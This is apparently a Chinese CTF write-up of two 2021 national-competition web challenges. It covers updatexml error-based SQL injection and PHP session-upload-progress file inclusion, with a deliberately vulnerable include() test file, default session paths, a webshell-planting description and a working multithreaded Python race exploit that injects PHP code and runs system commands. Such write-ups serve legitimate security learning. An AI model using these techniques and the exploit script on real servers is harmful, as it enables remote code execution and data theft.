zoey

谷歌浏览器可正常显示图片

0%

国赛2021(web)

sql

通过测试发现是以')闭合的sql注入

查看被过滤的函数

发现union ,information_schema.tables被过滤。

通过wp发现可以利用updatexml函数

如图

UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值

解释:由于updatexml的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。

知道了数据库名下一步就是报表名

对于表名没有想到可以查看的方法,猜想是flag

根据表名flag来查看字段名

查看wp,利用的是相同的表在进行全连接的时候会有重复的列出现,导致报错显示是重复的列的名称。

如果表名不存在会直接报错

对此,进行尝试,发现没有报表明的错误,成功测出第一个字段名为id,第二个字段名为no,显然第三个字段名最有可能存在flag

这里涉及到了using函数,在Mysql中using()用于两张表的join查询,而且在using()中指定的列在两个表中均存在,并且作为join的条件。

1
2
3
4
5
select * from  table1 inner join table2  on table1.相同的列=table2.相同的列 ;

# 可以改成:

select * from table1 inner join table2 using(相同的列) ;

这样,在using后面的列只显示一次,也就是不会因为列名重复而报错。

接下来,获取第三个字段名的内容。

这里使用到了mid函数。

MID()和SUBSTR()都是SUBSTRING()的同义词。

基本语法是这样的:MID(str,pos,len)

middle_source

打开环境,看到源码,应该文件包含,然后扫一下后台扫出来

1
[23:24:39] 200 -  208B  - /.listing

可以发现you_can_seeeeeeee_me.php是一个phpinfo文件

在这里可以看到session的存储位置,还看到了session.upload_progress为ON,所以这里可以利用session.upload_progress进行文件包含。

原理

用户会话session的存储与处理过程

会话存储

PHP则是将session以文件的形式存储在服务器某个文件中,可以在php.ini里面设置session的存储位置session.save_path

可以通过phpinfo查看session.save_path的值

总结常见的php-session默认存放位置是很有必要的,因为在很多时候服务器都是按照默认设置来运行的,这个时候假如我们发现了一个没有安全措施的session包含漏洞就可以尝试利用默认的会话存放路径去包含利用。

1
2
3
4
5
默认路径
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

如果某个服务器存在session包含漏洞,要想去成功的包含利用的话,首先必须要知道的是服务器是如何存放该文件的,只要知道了其命名格式我们才能够正确的去包含该文件。

session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到。

会话处理

在了解了用户会话的存储下来就需要了解php是如何处理用户的会话信息。php中针对用户会话的处理方式主要取决于服务器在php.ini或代码中对session.serialize_handler的配置。

session.serialize_handler

PHP中处理用户会话信息的主要是下面定义的两种方式

1
2
3
session.serialize_handler = php           一直都在(默认方式)  它是用 |分割

session.serialize_handler = php_serialize php5.5之后启用 它是用serialize反序列化格式分割

session.serialize_handler=php

服务器在配置文件或代码里面没有对session进行配置的话,PHP默认的会话处理方式就是session.serialize_handler=php这种模式机制。

下面通过一个简单的用户会话过程了解session.serialize_handler=php是如何工作的。

从图中可以看到默认session.serialize_handler=php处理模式只对用户名的内容进行了序列化存储,没有对变量名进行序列化,可以看作是服务器对用户会话信息的半序列化存储过程。

如果这里传入的不是Qftm,而是一句话木马,就会造成文件上传漏洞。

session.serialize_handler=php_serialize

php5.5之后启用这种处理模式,它是用serialize反序列化格式进行存储用户的会话信息。一样的通过一个简单的用户会话过程了解session.serialize_handler=php_serialize是如何工作的。这种模式可以在php.ini或者代码中进行设置。

session.php

1
2
3
4
5
6
7
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$username = $_POST['username'];
$_SESSION["username"] = $username;

?>

LFI本地文件包含漏洞

主要是包含本地服务器上存储的一些文件,例如Session会话文件、日志文件、临时文件等。但是,只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。

session文件包含漏洞就是在用户可以控制session文件中的一部分信息,然后将这部分信息变成我们的精心构造的恶意代码,之后去包含含有我们传入恶意代码的这个session文件就可以达到攻击效果。

测试代码

session.php

1
2
3
4
5
6
7
<?php

session_start();
$username = $_POST['username'];
$_SESSION["username"] = $username;

?>

index.php

1
2
3
4
5
6
<?php

$file = $_GET['file'];
include($file);

?>

漏洞利用

分析session.php可以看到用户会话信息username的值用户是可控的,因为服务器没有对该部分作出限制。那么我们就可以传入恶意代码就行攻击利用。

首先查看session.save_path保存的地址

在session.php传入一句话木马

查看sessionid

包含sess_sessionid这个文件,文件的内容为我们传入的一句话木马

综上,通过文件上传恶意的sess_sessionid文件造成文件上传漏洞,之间访问sess_sessionid验证这个漏洞。

从中也可以发现,文件包含漏洞包含的文件的类型没有限制。无论是sess_sessionid文件还是txt文件等任意文件类型均可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import io
import requests
import threading
sessid = 'SsBNMsssSssssL'
data = {"cmd":"system('cat flag.php');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post('http://124.71.233.92:20988/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php var_dump(scandir("/etc/");?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )
#readfile("etc/hfhajdgdcd/defcheebfe/abfihbefda/fdbdahacif/ajddhaeaab/fl444444g")
def read(session):
while True:
data={
'filed':'',
'cf':'../../../../../..//var/lib/php/sessions/hceffdjaee/sess_'+sessid
}
resp = session.post('http://124.71.233.92:20988/index.php',data=data)
if 'tgao.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()

等有环境再继续复现。

参考文章

https://www.anquanke.com/post/id/201177#h3-2

https://www.freebuf.com/news/202819.html